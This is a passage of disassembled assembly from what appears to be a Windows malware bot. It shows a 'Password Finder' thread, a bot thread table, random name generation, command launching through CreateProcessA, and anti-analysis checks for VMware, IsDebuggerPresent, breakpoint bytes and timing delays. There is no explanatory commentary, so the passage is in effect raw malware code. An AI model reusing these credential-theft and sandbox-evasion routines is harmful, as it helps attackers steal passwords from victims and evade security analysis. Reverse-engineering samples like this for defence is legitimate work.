		call	sub_409F89
		add	esp, 18h


loc_40A31B:				; CODE XREF: MEW:0040A3BEj
		inc	dword ptr [ebp-14h]
		jmp	loc_40A11C
; ---------------------------------------------------------------------------


loc_40A323:				; CODE XREF: MEW:0040A2CFj
					; MEW:0040A2E6j
		lea	eax, [ebp-14Ch]
		push	offset byte_40B078
		push	eax
		call	dword_4010A4	; lstrcpyA
		lea	eax, [ebp-34Ch]
		push	404178h
		push	eax
		call	sub_40AB9A
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40A11C
		mov	esi, 404178h
		lea	eax, [ebp-34Ch]
		push	esi
		push	eax
		call	sub_40AB9A
		pop	ecx
		inc	eax
		pop	ecx
		push	eax
		lea	eax, [ebp-14Ch]
		push	eax
		call	dword_4010A4	; lstrcpyA
		lea	eax, [ebp-34Ch]
		push	esi
		push	eax
		call	sub_40AB9A
		pop	ecx
		mov	[eax], bl
		pop	ecx
		lea	eax, [ebp-14Ch]
		push	eax
		lea	eax, [ebp-34Ch]
		push	eax
		lea	eax, [ebp-54Ch]
		push	eax
		lea	eax, [ebp-0D4Ch]
		push	404148h
		push	eax
		call	sub_40AB94
		mov	eax, [ebp+8]
		push	dword ptr [eax]
		lea	eax, [ebp-0D4Ch]
		push	eax
		call	sub_409F89
		add	esp, 1Ch
		jmp	loc_40A31B
; ---------------------------------------------------------------------------


loc_40A3C3:				; CODE XREF: MEW:0040A13Dj
		mov	eax, [ebp-20h]
		mov	byte ptr [ebp-4], 2
		cmp	eax, ebx
		jz	loc_40A0BC
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		jmp	loc_40A0BC
; ---------------------------------------------------------------------------


loc_40A3DD:				; CODE XREF: MEW:0040A0DDj
		mov	eax, [ebp-1Ch]
		mov	byte ptr [ebp-4], 1
		cmp	eax, ebx
		jz	loc_40A03A
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		jmp	loc_40A03A
; ---------------------------------------------------------------------------


loc_40A3F7:				; CODE XREF: MEW:0040A05Bj
		mov	eax, [ebp-24h]
		mov	[ebp-4], bl
		cmp	eax, ebx
		jz	short loc_40A407
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_40A407:				; CODE XREF: MEW:0040A3FFj
		mov	eax, [ebp-10h]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	eax, ebx
		jz	short loc_40A418
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_40A418:				; CODE XREF: MEW:00409FF0j
					; MEW:0040A410j
		push	dword ptr [ebp-14h]
		mov	eax, [ebp+8]
		push	dword ptr [eax]
		push	404110h
		call	sub_405185
		add	esp, 0Ch
		push	dword ptr [ebp-2Ch]
		call	dword_401088	; FreeLibrary


loc_40A436:				; CODE XREF: MEW:00409FC9j
		push	offset aPasswordFinder ; "Password Finder"
		call	sub_40A64F
		push	eax
		call	sub_40A56C
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4010EC	; ExitThread


loc_40A44F:				; CODE XREF: MEW:0040AFD7j
					; MEW:0040AFDFj ...
		mov	eax, [ecx]
		test	eax, eax
		jz	short locret_40A45B
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

locret_40A45B:				; CODE XREF: MEW:0040A453j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A45C	proc near		; CODE XREF: sub_404530:loc_404CE3p
					; sub_404530+B0Ep ...

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_404468
		push	offset loc_40ABC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	1
		pop	edi
		mov	[ebp+var_20], edi
		xor	ebx, ebx


loc_40A48A:				; CODE XREF: sub_40A45C+10Bj
		cmp	edi, 0Fh
		jge	loc_40A54A
		lea	esi, [edi+edi*2]
		shl	esi, 3
		cmp	dword_40B0D8[esi], ebx
		jnz	loc_40A563
		mov	[ebp+var_4], ebx
		push	4
		push	ebx
		call	sub_40AC1C
		pop	ecx
		pop	ecx
		mov	dword_40B0DC[esi], eax
		lea	eax, [ebp+var_1C]
		push	eax
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	ebx
		push	ebx
		call	dword_4010D4	; CreateThread
		mov	dword_40B0DC[esi], eax
		mov	esi, [ebp+arg_8]
		cmp	esi, 3
		jz	short loc_40A50A
		cmp	esi, ebx
		jnz	short loc_40A4E1
		push	0FFFFFFF1h
		jmp	short loc_40A503
; ---------------------------------------------------------------------------


loc_40A4E1:				; CODE XREF: sub_40A45C+7Fj
		cmp	esi, 1
		jnz	short loc_40A4EA
		push	0FFFFFFFEh
		jmp	short loc_40A503
; ---------------------------------------------------------------------------


loc_40A4EA:				; CODE XREF: sub_40A45C+88j
		cmp	esi, 2
		jnz	short loc_40A4F3
		push	0FFFFFFFFh
		jmp	short loc_40A503
; ---------------------------------------------------------------------------


loc_40A4F3:				; CODE XREF: sub_40A45C+91j
		cmp	esi, 4
		jnz	short loc_40A4FC
		push	1
		jmp	short loc_40A503
; ---------------------------------------------------------------------------


loc_40A4FC:				; CODE XREF: sub_40A45C+9Aj
		cmp	esi, 5
		jnz	short loc_40A50A
		push	2


loc_40A503:				; CODE XREF: sub_40A45C+83j
					; sub_40A45C+8Cj ...
		push	eax
		call	dword_4010B0	; SetThreadPriority


loc_40A50A:				; CODE XREF: sub_40A45C+7Bj
					; sub_40A45C+A3j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_40A523
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		xor	ebx, ebx
		mov	esi, [ebp+arg_8]
		mov	edi, [ebp+var_20]


loc_40A523:				; CODE XREF: sub_40A45C+B2j
		lea	eax, [edi+edi*2]
		shl	eax, 3
		cmp	dword_40B0DC[eax], ebx
		jnz	short loc_40A535
		xor	eax, eax
		jmp	short loc_40A554
; ---------------------------------------------------------------------------


loc_40A535:				; CODE XREF: sub_40A45C+D3j
		mov	ecx, [ebp+arg_C]
		mov	dword_40B0D8[eax], ecx
		mov	dword_40B0E8[eax], edi
		mov	dword_40B0EC[eax], esi


loc_40A54A:				; CODE XREF: sub_40A45C+31j
		lea	eax, [edi+edi*2]
		mov	eax, dword_40B0DC[eax*8]


loc_40A554:				; CODE XREF: sub_40A45C+D7j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40A563:				; CODE XREF: sub_40A45C+43j
		inc	edi
		mov	[ebp+var_20], edi
		jmp	loc_40A48A
sub_40A45C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A56C	proc near		; CODE XREF: sub_404530+958p
					; sub_404530+B66p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jle	short locret_40A5D4
		cmp	eax, 0Fh
		jge	short locret_40A5D4
		push	ebx
		push	esi
		lea	esi, [eax+eax*2]
		push	edi
		shl	esi, 3
		push	dword_40B0E0[esi]
		lea	edi, dword_40B0E0[esi]
		call	sub_408616
		xor	ebx, ebx
		mov	[edi], ebx
		push	dword_40B0E4[esi]
		lea	edi, dword_40B0E4[esi]
		call	sub_408616
		pop	ecx
		mov	[edi], ebx
		mov	dword_40B0D8[esi], ebx
		lea	eax, dword_40B0DC[esi]
		pop	ecx
		mov	dword_40B0EC[esi], ebx
		mov	dword_40B0E8[esi], ebx
		mov	ecx, [eax]
		push	ebx
		push	ecx
		mov	[eax], ebx
		call	dword_4010E4	; TerminateThread
		pop	edi
		pop	esi
		pop	ebx

locret_40A5D4:				; CODE XREF: sub_40A56C+7j
					; sub_40A56C+Cj
		retn
sub_40A56C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A5D5	proc near		; CODE XREF: sub_404530+BC7p

var_400		= byte ptr -400h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		push	offset unk_4042BC
		call	sub_405185
		add	esp, 0Ch
		mov	esi, offset dword_40B0F4
		push	1
		pop	ebx


loc_40A5FE:				; CODE XREF: sub_40A5D5+73j
		mov	ecx, [esi-4]
		test	ecx, ecx
		jz	short loc_40A63E
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40A63E
		push	eax
		lea	eax, [ebp+var_400]
		push	dword ptr [esi+10h]
		push	ecx
		push	ebx
		push	offset unk_404294
		push	eax
		call	sub_40AB94
		add	esp, 18h
		lea	eax, [ebp+var_400]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		push	offset dword_401A48
		call	sub_405185
		add	esp, 10h


loc_40A63E:				; CODE XREF: sub_40A5D5+2Ej
					; sub_40A5D5+34j
		add	esi, 18h
		inc	ebx
		cmp	esi, offset dword_40B244
		jl	short loc_40A5FE
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A5D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A64F	proc near		; CODE XREF: sub_404530+1B5p
					; sub_404530+595p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		push	1
		xor	ebx, ebx
		pop	edi
		mov	esi, offset dword_40B0F0


loc_40A65C:				; CODE XREF: sub_40A64F+2Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40A68A
		push	[esp+0Ch+arg_0]
		push	eax
		call	sub_40AFA4
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40A680
		add	esi, 18h
		inc	edi
		cmp	esi, offset byte_40B240
		jl	short loc_40A65C
		jmp	short loc_40A68A
; ---------------------------------------------------------------------------


loc_40A680:				; CODE XREF: sub_40A64F+21j
		lea	eax, [edi+edi*2]
		mov	ebx, dword_40B0E8[eax*8]


loc_40A68A:				; CODE XREF: sub_40A64F+11j
					; sub_40A64F+2Fj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40A64F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A690	proc near		; CODE XREF: sub_409016+72p

arg_0		= dword	ptr  4

		push	offset aR_1	; "r"
		push	[esp+4+arg_0]
		call	sub_40AC52
		pop	ecx
		test	eax, eax
		pop	ecx
		setnz	al
		retn
sub_40A690	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A6A6	proc near		; CODE XREF: sub_40A77F+85p

var_34		= byte ptr -34h
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		push	8
		call	sub_40AC22
		push	8
		push	0
		push	eax
		mov	[ebp+var_C], eax
		call	sub_40AC10
		add	esp, 10h
		call	sub_40AC34
		push	1Ah
		mov	esi, offset a0123456789abcd ; "0123456789abcdefghijklmnopqrstuvwxyz"
		cdq
		pop	ecx
		lea	edi, [ebp+var_34]
		idiv	ecx
		push	9
		pop	ecx
		rep movsd
		movsb
		mov	ebx, edx
		add	bl, 61h
		call	sub_40AC34
		push	24h
		pop	esi
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	al, [ebp+edx+var_34]
		mov	[ebp+var_5], al
		call	sub_40AC34
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	al, [ebp+edx+var_34]
		mov	[ebp+var_4], al
		call	sub_40AC34
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	al, [ebp+edx+var_34]
		mov	[ebp+var_3], al
		call	sub_40AC34
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	al, [ebp+edx+var_34]
		mov	[ebp+var_2], al
		call	sub_40AC34
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	al, [ebp+edx+var_34]
		mov	[ebp+var_1], al
		call	sub_40AC34
		cdq
		idiv	esi
		movsx	eax, [ebp+edx+var_34]
		push	eax
		movsx	eax, [ebp+var_1]
		push	eax
		movsx	eax, [ebp+var_2]
		push	eax
		movsx	eax, [ebp+var_3]
		push	eax
		movsx	eax, [ebp+var_4]
		push	eax
		movsx	eax, [ebp+var_5]
		push	eax
		movsx	eax, bl
		push	eax
		push	offset aCCCCCCC	; "%c%c%c%c%c%c%c"
		push	[ebp+var_C]
		call	sub_40AB94
		mov	eax, [ebp+var_C]
		add	esp, 24h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A6A6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A77F	proc near		; CODE XREF: sub_4055A6+325p
					; sub_4055A6+368p ...

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_404478
		push	offset loc_40ABC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	edi, [ebp+arg_0]
		lea	esi, [edi+1]
		push	esi
		call	sub_40AC22
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		push	esi
		push	0
		push	ebx
		call	sub_40AC10
		add	esp, 10h
		and	[ebp+var_24], 0


loc_40A7CA:				; CODE XREF: sub_40A77F+70j
		cmp	[ebp+var_24], edi
		jge	short loc_40A7F1
		call	sub_40AC34
		cdq
		push	1Ah
		pop	ecx
		idiv	ecx
		add	edx, 61h
		mov	[ebp+var_20], edx
		lea	eax, [ebp+var_20]
		push	eax
		push	ebx
		call	sub_40AC82
		pop	ecx
		pop	ecx
		inc	[ebp+var_24]
		jmp	short loc_40A7CA
; ---------------------------------------------------------------------------


loc_40A7F1:				; CODE XREF: sub_40A77F+4Ej
		or	[ebp+var_4], 0FFFFFFFFh
		mov	eax, ebx
		jmp	short loc_40A809
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_40A6A6


loc_40A809:				; CODE XREF: sub_40A77F+78j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A77F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A818	proc near		; CODE XREF: sub_404530+5B8p
					; sub_4055A6+31Fp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	dword_4010FC	; GetTickCount
		push	eax
		call	sub_40AC3A
		pop	ecx
		call	sub_40AC34
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		inc	eax
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_404488
		call	sub_40ABC6
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40A818	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A856	proc near		; CODE XREF: sub_407617:loc_40769Ep
		push	esi
		call	sub_40AC34
		mov	esi, eax
		shl	esi, 10h
		call	sub_40AC34
		add	eax, esi
		pop	esi
		retn
sub_40A856	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A86A	proc near		; CODE XREF: sub_407617+C4p
		jmp	sub_40AC34
sub_40A86A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A86F	proc near		; CODE XREF: sub_4086A6+16Fp

var_400		= byte ptr -400h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	esi
		push	edi
		push	offset dword_4030FC
		push	[ebp+arg_0]
		xor	ebx, ebx
		call	sub_40AC52
		mov	edi, eax
		mov	esi, 400h
		push	edi
		push	esi
		lea	eax, [ebp+var_400]


loc_40A899:				; DATA XREF: MEW:00402930o
					; MEW:00402974o ...
		push	1
		push	eax
		call	sub_40AC4C
		add	esp, 18h


loc_40A8A4:				; CODE XREF: sub_40A86F+55j
		mov	ecx, eax
		test	cx, cx
		jz	short loc_40A8D0
		cmp	cx, si
		jb	short loc_40A8C6
		push	edi
		push	esi
		lea	eax, [ebp+var_400]
		push	1
		push	eax
		inc	ebx
		call	sub_40AC4C
		add	esp, 10h
		jmp	short loc_40A8A4
; ---------------------------------------------------------------------------


loc_40A8C6:				; CODE XREF: sub_40A86F+3Fj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_40A8D0
		xor	eax, eax
		jmp	short loc_40A8DB
; ---------------------------------------------------------------------------


loc_40A8D0:				; CODE XREF: sub_40A86F+3Aj
					; sub_40A86F+5Bj
		movzx	eax, bx
		movzx	ecx, cx
		shl	eax, 0Ah
		add	eax, ecx


loc_40A8DB:				; CODE XREF: sub_40A86F+5Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A86F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A8E0	proc near		; CODE XREF: sub_408825+107p
					; sub_408825+121p ...

var_454		= byte ptr -454h
var_54		= dword	ptr -54h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 454h
		push	esi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_40AC10
		push	44h
		lea	eax, [ebp+var_54]
		push	esi
		push	eax
		call	sub_40AC10
		add	esp, 18h
		lea	eax, [ebp+var_454]
		mov	[ebp+var_54], 44h
		mov	[ebp+var_28], 1
		push	[ebp+arg_4]
		mov	[ebp+var_24], si
		push	[ebp+arg_0]
		push	offset aSS	; "%s %s"
		push	400h
		push	eax
		call	sub_40AD78
		add	esp, 14h
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp+var_454]
		push	esi
		push	eax
		push	esi
		call	dword_4010B4	; CreateProcessA
		neg	eax
		sbb	eax, eax
		pop	esi
		and	eax, [ebp+var_8]
		leave
		retn
sub_40A8E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A95F	proc near		; CODE XREF: sub_4055A6+573p
					; sub_4055A6+5F6p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_40A969:				; CODE XREF: sub_40A95F+1Bj
					; sub_40A95F+44j
		mov	al, [esi]
		test	al, al
		jnz	short loc_40A97C
		mov	al, [ecx]
		test	al, al
		jz	short loc_40A9A5
		cmp	al, 2Ah
		jnz	short loc_40A9C5
		inc	ecx
		jmp	short loc_40A969
; ---------------------------------------------------------------------------


loc_40A97C:				; CODE XREF: sub_40A95F+Ej
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_40A9C5
		cmp	al, dl
		jz	short loc_40A9A1
		cmp	al, 41h
		jl	short loc_40A98E
		cmp	al, 5Ah
		jle	short loc_40A996


loc_40A98E:				; CODE XREF: sub_40A95F+29j
		cmp	al, 61h
		jl	short loc_40A99C
		cmp	al, 7Ah
		jg	short loc_40A99C


loc_40A996:				; CODE XREF: sub_40A95F+2Dj
		xor	al, 20h
		cmp	al, dl
		jz	short loc_40A9A1


loc_40A99C:				; CODE XREF: sub_40A95F+31j
					; sub_40A95F+35j
		cmp	dl, 3Fh
		jnz	short loc_40A9A9


loc_40A9A1:				; CODE XREF: sub_40A95F+25j
					; sub_40A95F+3Bj
		inc	ecx
		inc	esi
		jmp	short loc_40A969
; ---------------------------------------------------------------------------


loc_40A9A5:				; CODE XREF: sub_40A95F+14j
					; sub_40A95F+5Dj
		mov	al, 1
		jmp	short loc_40A9C7
; ---------------------------------------------------------------------------


loc_40A9A9:				; CODE XREF: sub_40A95F+40j
		cmp	byte ptr [ecx],	2Ah
		jnz	short loc_40A9C5
		lea	edi, [ecx+1]


loc_40A9B1:				; CODE XREF: sub_40A95F+64j
		push	edi
		push	esi
		call	sub_40A95F
		pop	ecx
		test	al, al
		pop	ecx
		jnz	short loc_40A9A5
		cmp	[esi], al
		jz	short loc_40A9C5
		inc	esi
		jmp	short loc_40A9B1
; ---------------------------------------------------------------------------


loc_40A9C5:				; CODE XREF: sub_40A95F+18j
					; sub_40A95F+21j ...
		xor	al, al


loc_40A9C7:				; CODE XREF: sub_40A95F+48j
		pop	edi
		pop	esi
		retn
sub_40A95F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A9CA	proc near		; CODE XREF: sub_4096C8+125p
					; sub_4096C8+149p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+arg_C]
		test	edi, edi
		jle	short loc_40A9F8


loc_40A9DB:				; CODE XREF: sub_40A9CA+2Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_40AE60
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40A9FE
		inc	esi
		cmp	esi, edi
		jl	short loc_40A9DB


loc_40A9F8:				; CODE XREF: sub_40A9CA+Fj
		xor	al, al


loc_40A9FA:				; CODE XREF: sub_40A9CA+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40A9FE:				; CODE XREF: sub_40A9CA+27j
		mov	al, 1
		jmp	short loc_40A9FA
sub_40A9CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AA02	proc near		; CODE XREF: sub_409834+12p
					; sub_409834+23p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	ah, 41h
		mov	dh, 5Ah
		mov	esi, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_40AA4C


loc_40AA17:				; CODE XREF: sub_40AA02+3Fj
		mov	ebx, esi
		inc	ebx


loc_40AA1A:				; CODE XREF: sub_40AA02+46j
		mov	al, [esi]
		inc	esi
		test	al, al
		jz	short loc_40AA55
		cmp	dl, ah
		jb	short loc_40AA2C
		cmp	dl, dh
		ja	short loc_40AA2C
		add	dl, 20h


loc_40AA2C:				; CODE XREF: sub_40AA02+21j
					; sub_40AA02+25j
		cmp	al, ah
		jb	short loc_40AA36
		cmp	al, dh
		ja	short loc_40AA36
		add	al, 20h


loc_40AA36:				; CODE XREF: sub_40AA02+2Cj
					; sub_40AA02+30j
		cmp	al, dl
		jz	short loc_40AA43
		mov	esi, ebx
		mov	ecx, [ebp+arg_4]
		mov	dl, [ecx]
		jmp	short loc_40AA17
; ---------------------------------------------------------------------------


loc_40AA43:				; CODE XREF: sub_40AA02+36j
		inc	ecx
		mov	dl, [ecx]
		test	dl, dl
		jnz	short loc_40AA1A
		jmp	short loc_40AA50
; ---------------------------------------------------------------------------


loc_40AA4C:				; CODE XREF: sub_40AA02+13j
		mov	eax, esi
		jmp	short loc_40AA59
; ---------------------------------------------------------------------------


loc_40AA50:				; CODE XREF: sub_40AA02+48j
		dec	ebx
		mov	eax, ebx
		jmp	short loc_40AA59
; ---------------------------------------------------------------------------


loc_40AA55:				; CODE XREF: sub_40AA02+1Dj
		xor	eax, eax
		jmp	short $+2


loc_40AA59:				; CODE XREF: sub_40AA02+4Cj
					; sub_40AA02+51j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40AA02	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AA5D	proc near		; CODE XREF: sub_40933F+19p
					; sub_40AAA5+Cp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	0
		push	offset aSoftwareVmware ; "SOFTWARE\\VMware, Inc.\\"
		push	80000002h
		call	dword_401010
		test	eax, eax
		jnz	short loc_40AA8D
		push	[ebp+var_4]
		call	dword_401018
		mov	al, 1
		leave
		retn
; ---------------------------------------------------------------------------


loc_40AA8D:				; CODE XREF: sub_40AA5D+21j
		xor	al, al
		leave
		retn
sub_40AA5D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AA91	proc near		; CODE XREF: sub_40AAA5:loc_40AAEBp
		mov	eax, large fs:30h
		mov	eax, [eax+0Ch]
		mov	eax, [eax+0Ch]
		add	dword ptr [eax+20h], 2000h
		retn
sub_40AA91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AAA5	proc near		; CODE XREF: sub_405CEC:loc_405D67p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		call	sub_40AA5D
		test	al, al
		jz	short loc_40AAC1


loc_40AABA:				; CODE XREF: sub_40AAA5+6Bj
					; sub_40AAA5+8Dj ...
		mov	al, 1
		jmp	loc_40AB4B
; ---------------------------------------------------------------------------


loc_40AAC1:				; CODE XREF: sub_40AAA5+13j
		mov	esi, offset aKernel32_dll ; "KERNEL32.DLL"
		push	esi
		call	dword_4010C8	; GetModuleHandleA
		test	eax, eax
		jnz	short loc_40AADC
		push	esi
		call	dword_401090	; LoadLibraryA
		test	eax, eax
		jz	short loc_40AAEB


loc_40AADC:				; CODE XREF: sub_40AAA5+2Aj
		push	offset aIsdebuggerpres ; "IsDebuggerPresent"
		push	eax
		call	dword_40108C	; GetProcAddress
		mov	[ebp+var_4], eax


loc_40AAEB:				; CODE XREF: sub_40AAA5+35j
		call	sub_40AA91
		mov	edi, dword_4010FC
		call	edi ; dword_4010FC
		mov	ebx, eax
		mov	esi, offset sub_40AB50
		mov	al, [esi]
		cmp	al, 0CCh
		jz	short loc_40AB09
		xor	eax, eax
		jmp	short loc_40AB0E
; ---------------------------------------------------------------------------


loc_40AB09:				; CODE XREF: sub_40AAA5+5Ej
		mov	eax, 1


loc_40AB0E:				; CODE XREF: sub_40AAA5+62j
		test	al, al
		jnz	short loc_40AABA
		cmp	[ebp+var_4], 0
		jz	short loc_40AB3F
		lea	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		mov	esi, [ebp+var_8]
		mov	al, [esi]
		cmp	al, 0CCh
		jz	short loc_40AB2B
		xor	eax, eax
		jmp	short loc_40AB30
; ---------------------------------------------------------------------------


loc_40AB2B:				; CODE XREF: sub_40AAA5+80j
		mov	eax, 1


loc_40AB30:				; CODE XREF: sub_40AAA5+84j
		test	al, al
		jnz	short loc_40AABA
		call	[ebp+var_4]
		test	eax, eax
		jnz	loc_40AABA


loc_40AB3F:				; CODE XREF: sub_40AAA5+71j
		call	edi ; dword_4010FC
		sub	eax, ebx
		cmp	eax, 1388h
		setnbe	al


loc_40AB4B:				; CODE XREF: sub_40AAA5+17j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40AAA5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AB50	proc near		; DATA XREF: sub_40AAA5+55o

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		mov	al, [esi]
		cmp	al, 0CCh
		jz	short loc_40AB61
		xor	eax, eax
		jmp	short loc_40AB66
; ---------------------------------------------------------------------------


loc_40AB61:				; CODE XREF: sub_40AB50+Bj
		mov	eax, 1


loc_40AB66:				; CODE XREF: sub_40AB50+Fj
		pop	esi
		pop	ebp
		retn
sub_40AB50	endp

; ---------------------------------------------------------------------------
		align 2

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40AB6A	proc near		; CODE XREF: MEW:00407057p
					; MEW:004070AEp ...
		jmp	dword_4011B8
sub_40AB6A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40AB70	proc near		; CODE XREF: MEW:00407048p
					; MEW:0040708Ep
		jmp	dword_4011B4
sub_40AB70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40AB76	proc near		; CODE XREF: MEW:00406FAFp
					; MEW:00407063p
		jmp	dword_4011B0
sub_40AB76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40AB7C	proc near		; CODE XREF: MEW:00406FA3p
		jmp	dword_4011AC
sub_40AB7C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40AB82	proc near		; CODE XREF: MEW:00406F14p
		jmp	dword_4011A8
sub_40AB82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


